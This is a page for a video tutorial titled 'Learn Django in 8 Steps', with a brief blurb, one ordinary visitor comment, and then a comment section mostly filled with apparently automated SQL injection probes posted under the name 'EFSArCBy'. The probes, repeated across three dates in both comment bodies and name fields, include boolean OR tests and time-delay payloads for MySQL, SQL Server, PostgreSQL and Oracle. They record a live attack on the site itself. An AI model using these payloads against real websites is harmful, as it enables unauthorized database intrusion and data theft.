Learn Django in 8 Steps | Django Roadmap

Learn Django in 8 Steps | Django Roadmap

/ #Django


Learning a new framework can be overwhelming. In this video, I will go through a roadmap that will take you from a to z.

When you're learning something new, it can be hard to know where to start. When it comes to learning Django, I will always suggest that you start by learning the very basics of Python.

When you know the basics of Python, you can start by setting up your development environment and create an empty project.

And when you have a project running, start learning one and one part of Django. Check out the video to see the rest :-)

Video

Comments

Javad | Nov 12, 25 02:27

Hello! I watched one of your videos and I enjoyed from it.

EFSArCBy | Jul 02, 26 07:32

555

EFSArCBy | Jul 02, 26 07:34

555

EFSArCBy | Jul 02, 26 07:34

555

EFSArCBy | Jul 02, 26 07:34

-1 OR 2+475-475-1=0+0+0+1 --

EFSArCBy | Jul 02, 26 07:34

-1 OR 2+787-787-1=0+0+0+1

EFSArCBy | Jul 02, 26 07:34

-1' OR 2+311-311-1=0+0+0+1 --

EFSArCBy | Jul 02, 26 07:34

-1' OR 2+506-506-1=0+0+0+1 or 'XUv280CJ'='

EFSArCBy | Jul 02, 26 07:34

-1" OR 2+726-726-1=0+0+0+1 --

EFSArCBy | Jul 02, 26 07:34

555*if(now()=sysdate(),sleep(15),0)

EFSArCBy | Jul 02, 26 07:34

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

EFSArCBy | Jul 02, 26 07:34

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

EFSArCBy | Jul 02, 26 07:34

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

EFSArCBy | Jul 02, 26 07:34

555-1; waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 07:34

555-1); waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 07:34

555-1 waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 07:34

5551OZEjMTj'; waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 07:34

555-1 OR 391=(SELECT 391 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 07:34

555-1) OR 885=(SELECT 885 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 07:34

555-1)) OR 49=(SELECT 49 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 07:34

555lBaF8alD' OR 78=(SELECT 78 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 07:34

555n1wrHN1L') OR 496=(SELECT 496 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 07:34

555M4BXHIc8')) OR 286=(SELECT 286 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 07:34

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

EFSArCBy | Jul 02, 26 07:34

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

EFSArCBy | Jul 02, 26 07:34

555

EFSArCBy | Jul 02, 26 07:34

555'"

EFSArCBy | Jul 02, 26 07:34

@@eT7XZ

EFSArCBy | Jul 02, 26 07:34

555

EFSArCBy | Jul 02, 26 07:34

555

EFSArCBy | Jul 02, 26 07:34

555

EFSArCBy | Jul 02, 26 07:34

555

EFSArCBy | Jul 02, 26 07:34

555

EFSArCBy | Jul 02, 26 07:34

555

EFSArCBy | Jul 02, 26 07:34

555

EFSArCBy | Jul 02, 26 07:34

555

EFSArCBy | Jul 02, 26 07:34

555

EFSArCBy | Jul 02, 26 07:34

555

EFSArCBy | Jul 02, 26 07:34

555

EFSArCBy | Jul 02, 26 07:34

555

EFSArCBy | Jul 02, 26 07:34

555

EFSArCBy | Jul 02, 26 07:34

555

EFSArCBy | Jul 02, 26 07:34

555

EFSArCBy | Jul 02, 26 07:34

555

EFSArCBy | Jul 02, 26 07:34

555

EFSArCBy | Jul 02, 26 07:34

555

EFSArCBy | Jul 02, 26 07:34

555

EFSArCBy | Jul 02, 26 07:34

555

EFSArCBy | Jul 02, 26 07:34

555

EFSArCBy | Jul 02, 26 07:34

555

EFSArCBy | Jul 02, 26 07:34

555

EFSArCBy | Jul 02, 26 07:34

555

-1 OR 2+917-917-1=0+0+0+1 -- | Jul 02, 26 07:34

555

-1 OR 2+65-65-1=0+0+0+1 | Jul 02, 26 07:34

555

-1' OR 2+376-376-1=0+0+0+1 -- | Jul 02, 26 07:34

555

-1' OR 2+536-536-1=0+0+0+1 or 'nUa2QCMT'=' | Jul 02, 26 07:34

555

-1" OR 2+247-247-1=0+0+0+1 -- | Jul 02, 26 07:34

555

if(now()=sysdate(),sleep(15),0) | Jul 02, 26 07:34

555

EFSArCBy0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z | Jul 02, 26 07:34

555

EFSArCBy0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z | Jul 02, 26 07:34

555

EFSArCBy-1 waitfor delay '0:0:15' -- | Jul 02, 26 07:34

555

EFSArCBy76tWCiFp'; waitfor delay '0:0:15' -- | Jul 02, 26 07:34

555

EFSArCByxECrNmqa' OR 188=(SELECT 188 FROM PG_SLEEP(15))-- | Jul 02, 26 07:34

555

EFSArCByE1v5rg7D') OR 744=(SELECT 744 FROM PG_SLEEP(15))-- | Jul 02, 26 07:34

555

EFSArCByNOCBNZYb')) OR 412=(SELECT 412 FROM PG_SLEEP(15))-- | Jul 02, 26 07:34

555

EFSArCBy'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' | Jul 02, 26 07:34

555

EFSArCBy | Jul 02, 26 07:34

555

EFSArCBy'" | Jul 02, 26 07:34

555

@@1Shvt | Jul 02, 26 07:35

555

EFSArCBy | Jul 02, 26 07:35

555

EFSArCBy | Jul 02, 26 07:35

555

EFSArCBy | Jul 02, 26 07:35

555

EFSArCBy | Jul 02, 26 07:35

555

EFSArCBy | Jul 02, 26 07:35

555

EFSArCBy | Jul 02, 26 07:35

555

EFSArCBy | Jul 02, 26 07:35

555

EFSArCBy | Jul 02, 26 07:35

555

EFSArCBy | Jul 02, 26 07:35

555

EFSArCBy | Jul 02, 26 07:35

555

EFSArCBy | Jul 02, 26 07:35

555

EFSArCBy | Jul 02, 26 07:35

555

EFSArCBy | Jul 02, 26 07:35

555

EFSArCBy | Jul 02, 26 07:35

555

EFSArCBy | Jul 02, 26 07:35

555

EFSArCBy | Jul 02, 26 07:35

555

EFSArCBy | Jul 02, 26 07:35

555

EFSArCBy | Jul 02, 26 07:35

555

EFSArCBy | Jul 02, 26 07:35

555

EFSArCBy | Jul 20, 26 08:37

555

EFSArCBy | Jul 20, 26 08:37

555

EFSArCBy | Jul 20, 26 08:37

555

EFSArCBy | Jul 20, 26 08:37

-1 OR 2+571-571-1=0+0+0+1 --

EFSArCBy | Jul 20, 26 08:37

-1 OR 2+552-552-1=0+0+0+1

EFSArCBy | Jul 20, 26 08:37

-1' OR 2+21-21-1=0+0+0+1 --

EFSArCBy | Jul 20, 26 08:37

-1' OR 2+104-104-1=0+0+0+1 or 'jppEAHMp'='

EFSArCBy | Jul 20, 26 08:37

-1" OR 2+932-932-1=0+0+0+1 --

EFSArCBy | Jul 20, 26 08:37

555*if(now()=sysdate(),sleep(15),0)

EFSArCBy | Jul 20, 26 08:37

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

EFSArCBy | Jul 20, 26 08:37

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

EFSArCBy | Jul 20, 26 08:37

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

EFSArCBy | Jul 20, 26 08:37

555-1; waitfor delay '0:0:15' --

EFSArCBy | Jul 20, 26 08:37

555-1); waitfor delay '0:0:15' --

EFSArCBy | Jul 20, 26 08:37

555-1 waitfor delay '0:0:15' --

EFSArCBy | Jul 20, 26 08:37

555htFF2FOx'; waitfor delay '0:0:15' --

EFSArCBy | Jul 20, 26 08:37

555-1 OR 547=(SELECT 547 FROM PG_SLEEP(15))--

EFSArCBy | Jul 20, 26 08:37

555-1) OR 728=(SELECT 728 FROM PG_SLEEP(15))--

EFSArCBy | Jul 20, 26 08:37

555-1)) OR 63=(SELECT 63 FROM PG_SLEEP(15))--

EFSArCBy | Jul 20, 26 08:37

555H9pE6TVN' OR 860=(SELECT 860 FROM PG_SLEEP(15))--

EFSArCBy | Jul 20, 26 08:37

555z6c7ZHtU') OR 351=(SELECT 351 FROM PG_SLEEP(15))--

EFSArCBy | Jul 20, 26 08:37

555iXJmyM9b')) OR 82=(SELECT 82 FROM PG_SLEEP(15))--

EFSArCBy | Jul 20, 26 08:37

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

EFSArCBy | Jul 20, 26 08:37

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

EFSArCBy | Jul 20, 26 08:37

555

EFSArCBy | Jul 20, 26 08:37

555'"

EFSArCBy | Jul 20, 26 08:37

@@krxJf

EFSArCBy | Jul 20, 26 08:37

555

EFSArCBy | Jul 20, 26 08:37

555

EFSArCBy | Jul 20, 26 08:37

555

EFSArCBy | Jul 20, 26 08:37

555

EFSArCBy | Jul 20, 26 08:37

555

EFSArCBy | Jul 20, 26 08:37

555

EFSArCBy | Jul 20, 26 08:37

555

EFSArCBy | Jul 20, 26 08:37

555

EFSArCBy | Jul 20, 26 08:37

555

EFSArCBy | Jul 20, 26 08:37

555

EFSArCBy | Jul 20, 26 08:37

555

EFSArCBy | Jul 20, 26 08:37

555

EFSArCBy | Jul 20, 26 08:37

555

EFSArCBy | Jul 20, 26 08:37

555

EFSArCBy | Jul 20, 26 08:37

555

EFSArCBy | Jul 20, 26 08:37

555

EFSArCBy | Jul 20, 26 08:37

555

EFSArCBy | Jul 20, 26 08:37

555

EFSArCBy | Jul 20, 26 08:37

555

EFSArCBy | Jul 20, 26 08:37

555

EFSArCBy | Jul 20, 26 08:37

555

EFSArCBy | Jul 20, 26 08:37

555

EFSArCBy | Jul 20, 26 08:37

555

EFSArCBy | Jul 20, 26 08:37

555

-1 OR 2+80-80-1=0+0+0+1 -- | Jul 20, 26 08:37

555

-1 OR 2+636-636-1=0+0+0+1 | Jul 20, 26 08:37

555

-1' OR 2+508-508-1=0+0+0+1 -- | Jul 20, 26 08:37

555

-1' OR 2+712-712-1=0+0+0+1 or 'syOrA41d'=' | Jul 20, 26 08:37

555

-1" OR 2+290-290-1=0+0+0+1 -- | Jul 20, 26 08:37

555

if(now()=sysdate(),sleep(15),0) | Jul 20, 26 08:37

555

EFSArCBy0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z | Jul 20, 26 08:37

555

EFSArCBy0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z | Jul 20, 26 08:37

555

EFSArCBy-1 waitfor delay '0:0:15' -- | Jul 20, 26 08:37

555

EFSArCByNaOOdAKX'; waitfor delay '0:0:15' -- | Jul 20, 26 08:37

555

EFSArCByR30KhaAy' OR 828=(SELECT 828 FROM PG_SLEEP(15))-- | Jul 20, 26 08:37

555

EFSArCBy5L3iUi5Z') OR 388=(SELECT 388 FROM PG_SLEEP(15))-- | Jul 20, 26 08:37

555

EFSArCByimIVgijH')) OR 248=(SELECT 248 FROM PG_SLEEP(15))-- | Jul 20, 26 08:37

555

EFSArCBy'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' | Jul 20, 26 08:37

555

EFSArCBy | Jul 20, 26 08:37

555

EFSArCBy'" | Jul 20, 26 08:37

555

@@v1tzG | Jul 20, 26 08:37

555

EFSArCBy | Jul 20, 26 08:37

555

EFSArCBy | Jul 20, 26 08:37

555

EFSArCBy | Jul 20, 26 08:37

555

EFSArCBy | Jul 20, 26 08:38

555

EFSArCBy | Jul 20, 26 08:38

555

EFSArCBy | Jul 20, 26 08:38

555

EFSArCBy | Jul 20, 26 08:38

555

EFSArCBy | Jul 20, 26 08:38

555

EFSArCBy | Jul 20, 26 08:38

555

EFSArCBy | Jul 20, 26 08:38

555

EFSArCBy | Jul 20, 26 08:38

555

EFSArCBy | Jul 20, 26 08:38

555

EFSArCBy | Jul 20, 26 08:38

555

EFSArCBy | Jul 20, 26 08:38

555

EFSArCBy | Jul 20, 26 08:38

555

EFSArCBy | Jul 20, 26 08:38

555

EFSArCBy | Jul 20, 26 08:38

555

EFSArCBy | Jul 20, 26 08:38

555

EFSArCBy | Jul 20, 26 08:38

555

EFSArCBy | Jul 23, 26 11:26

555

EFSArCBy | Jul 23, 26 11:26

555

EFSArCBy | Jul 23, 26 11:26

555

EFSArCBy | Jul 23, 26 11:26

-1 OR 2+161-161-1=0+0+0+1 --

EFSArCBy | Jul 23, 26 11:26

-1 OR 2+287-287-1=0+0+0+1

EFSArCBy | Jul 23, 26 11:26

-1' OR 2+567-567-1=0+0+0+1 --

EFSArCBy | Jul 23, 26 11:26

-1' OR 2+311-311-1=0+0+0+1 or 'VJo8gh3p'='

EFSArCBy | Jul 23, 26 11:26

-1" OR 2+658-658-1=0+0+0+1 --

EFSArCBy | Jul 23, 26 11:26

555*if(now()=sysdate(),sleep(15),0)

EFSArCBy | Jul 23, 26 11:26

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

EFSArCBy | Jul 23, 26 11:26

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

EFSArCBy | Jul 23, 26 11:26

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

EFSArCBy | Jul 23, 26 11:26

555-1; waitfor delay '0:0:15' --

EFSArCBy | Jul 23, 26 11:26

555-1); waitfor delay '0:0:15' --

EFSArCBy | Jul 23, 26 11:26

555-1 waitfor delay '0:0:15' --

EFSArCBy | Jul 23, 26 11:26

555ksPuO52Z'; waitfor delay '0:0:15' --

EFSArCBy | Jul 23, 26 11:26

555-1 OR 231=(SELECT 231 FROM PG_SLEEP(15))--

EFSArCBy | Jul 23, 26 11:26

555-1) OR 291=(SELECT 291 FROM PG_SLEEP(15))--

EFSArCBy | Jul 23, 26 11:26

555-1)) OR 770=(SELECT 770 FROM PG_SLEEP(15))--

EFSArCBy | Jul 23, 26 11:26

555mYTtobTo' OR 548=(SELECT 548 FROM PG_SLEEP(15))--

EFSArCBy | Jul 23, 26 11:26

555vJmDeN3r') OR 201=(SELECT 201 FROM PG_SLEEP(15))--

EFSArCBy | Jul 23, 26 11:26

555btFwvx8u')) OR 299=(SELECT 299 FROM PG_SLEEP(15))--

EFSArCBy | Jul 23, 26 11:26

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

EFSArCBy | Jul 23, 26 11:26

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

EFSArCBy | Jul 23, 26 11:26

555

EFSArCBy | Jul 23, 26 11:26

555'"

EFSArCBy | Jul 23, 26 11:26

@@hK7Mc

EFSArCBy | Jul 23, 26 11:26

555

EFSArCBy | Jul 23, 26 11:26

555

EFSArCBy | Jul 23, 26 11:26

555

EFSArCBy | Jul 23, 26 11:26

555

EFSArCBy | Jul 23, 26 11:26

555

EFSArCBy | Jul 23, 26 11:26

555

EFSArCBy | Jul 23, 26 11:26

555

EFSArCBy | Jul 23, 26 11:26

555

EFSArCBy | Jul 23, 26 11:26

555

EFSArCBy | Jul 23, 26 11:26

555

EFSArCBy | Jul 23, 26 11:26

555

EFSArCBy | Jul 23, 26 11:26

555

EFSArCBy | Jul 23, 26 11:26

555

EFSArCBy | Jul 23, 26 11:26

555

EFSArCBy | Jul 23, 26 11:26

555

EFSArCBy | Jul 23, 26 11:26

555

EFSArCBy | Jul 23, 26 11:26

555

EFSArCBy | Jul 23, 26 11:26

555

EFSArCBy | Jul 23, 26 11:26

555

EFSArCBy | Jul 23, 26 11:26

555

EFSArCBy | Jul 23, 26 11:26

555

EFSArCBy | Jul 23, 26 11:26

555

EFSArCBy | Jul 23, 26 11:26

555

EFSArCBy | Jul 23, 26 11:26

555

-1 OR 2+104-104-1=0+0+0+1 -- | Jul 23, 26 11:26

555

-1 OR 2+17-17-1=0+0+0+1 | Jul 23, 26 11:26

555

-1' OR 2+699-699-1=0+0+0+1 -- | Jul 23, 26 11:26

555

-1' OR 2+447-447-1=0+0+0+1 or '4x964LOd'=' | Jul 23, 26 11:26

555

-1" OR 2+675-675-1=0+0+0+1 -- | Jul 23, 26 11:26

555

if(now()=sysdate(),sleep(15),0) | Jul 23, 26 11:26

555

EFSArCBy0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z | Jul 23, 26 11:26

555

EFSArCBy0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z | Jul 23, 26 11:26

555

EFSArCBy-1 waitfor delay '0:0:15' -- | Jul 23, 26 11:26

555

EFSArCBycKkg7cWu'; waitfor delay '0:0:15' -- | Jul 23, 26 11:26

555

EFSArCBy893R4lMh' OR 239=(SELECT 239 FROM PG_SLEEP(15))-- | Jul 23, 26 11:26

555

EFSArCByG0kuBmBy') OR 80=(SELECT 80 FROM PG_SLEEP(15))-- | Jul 23, 26 11:26

555

EFSArCByg6dyO0M6')) OR 608=(SELECT 608 FROM PG_SLEEP(15))-- | Jul 23, 26 11:26

555

EFSArCBy'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' | Jul 23, 26 11:26

555

EFSArCBy | Jul 23, 26 11:26

555

EFSArCBy'" | Jul 23, 26 11:26

555

@@Z74iZ | Jul 23, 26 11:27

555

EFSArCBy | Jul 23, 26 11:27

555

EFSArCBy | Jul 23, 26 11:27

555

EFSArCBy | Jul 23, 26 11:27

555

EFSArCBy | Jul 23, 26 11:27

555

EFSArCBy | Jul 23, 26 11:27

555

EFSArCBy | Jul 23, 26 11:27

555

EFSArCBy | Jul 23, 26 11:27

555

EFSArCBy | Jul 23, 26 11:27

555

EFSArCBy | Jul 23, 26 11:27

555

EFSArCBy | Jul 23, 26 11:27

555

EFSArCBy | Jul 23, 26 11:27

555

EFSArCBy | Jul 23, 26 11:27

555

EFSArCBy | Jul 23, 26 11:27

555

EFSArCBy | Jul 23, 26 11:27

555

EFSArCBy | Jul 23, 26 11:27

555

EFSArCBy | Jul 23, 26 11:27

555

EFSArCBy | Jul 23, 26 11:27

555

EFSArCBy | Jul 23, 26 11:27

555

EFSArCBy | Jul 23, 26 11:27

555

Add comment

Info

Please log in to comment!

Newsletter

Subscribe to my weekly newsletter. One time per week I will send you a short summary of the tutorials I have posted in the past week.